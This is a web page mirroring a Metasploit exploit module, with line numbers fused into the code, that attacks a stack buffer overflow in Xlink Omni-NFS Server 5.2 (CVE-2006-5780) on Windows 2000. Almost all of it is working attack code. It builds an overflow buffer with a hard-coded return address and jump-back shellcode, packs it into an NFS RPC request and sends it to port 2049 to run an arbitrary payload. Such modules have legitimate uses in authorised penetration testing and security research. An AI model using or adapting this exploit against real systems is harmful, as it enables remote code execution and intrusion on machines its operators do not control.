Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/nfs/xlink_nfsd.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = AverageRanking78include Msf::Exploit::Remote::Tcp910def initialize(info = {})11super(update_info(info,12'Name' => 'Omni-NFS Server Buffer Overflow',13'Description' => %q{14This module exploits a stack buffer overflow in Xlink Omni-NFS Server 5.215When sending a specially crafted nfs packet, an attacker may be able16to execute arbitrary code.17},18'Author' => [ 'MC' ],19'References' =>20[21[ 'CVE', '2006-5780' ],22[ 'OSVDB', '30224'],23[ 'BID', '20941' ],24[ 'URL', 'http://www.securityfocus.com/data/vulnerabilities/exploits/omni-nfs-server-5.2-stackoverflow.pm' ],25],26'DefaultOptions' =>27{28'EXITFUNC' => 'process',29},30'Payload' =>31{32'Space' => 336,33'BadChars' => "\x00",34'PrepenEncoder' => "\x81\xc4\x54\xf2\xff\xff",35'StackAdjustment' => -3500,36},37'Platform' => 'win',38'Targets' =>39[40[ 'Windows 2000 SP4 English', { 'Ret' => 0x0040bb2e } ],41],42'Privileged' => true,43'DefaultTarget' => 0,44'DisclosureDate' => '2006-11-06'))4546register_options([Opt::RPORT(2049)])47end4849def exploit50connect5152buff = payload.encoded53buff << Rex::Arch::X86.jmp_short(6) + rand_text_english(2)54buff << [target.ret].pack('V')55buff << Metasm::Shellcode.assemble(Metasm::Ia32.new, "call $-330").encode_string56buff << rand_text_english(251)5758pkt = [1].pack('N')59pkt << [0].pack('N')60pkt << [2].pack('N')61pkt << [100005].pack('N')62pkt << [1].pack('N')63pkt << [1].pack('N')64pkt << [1].pack('N')65pkt << [400].pack('N')66pkt << buff[0,400]67pkt << [1].pack('N')68pkt << [400].pack('N')69pkt << buff[300,400]7071sploit = [pkt.length | 0x80000000].pack('N') + pkt7273print_status("Trying target #{target.name}...")74sock.put(sploit)7576handler77disconnect78end79end808182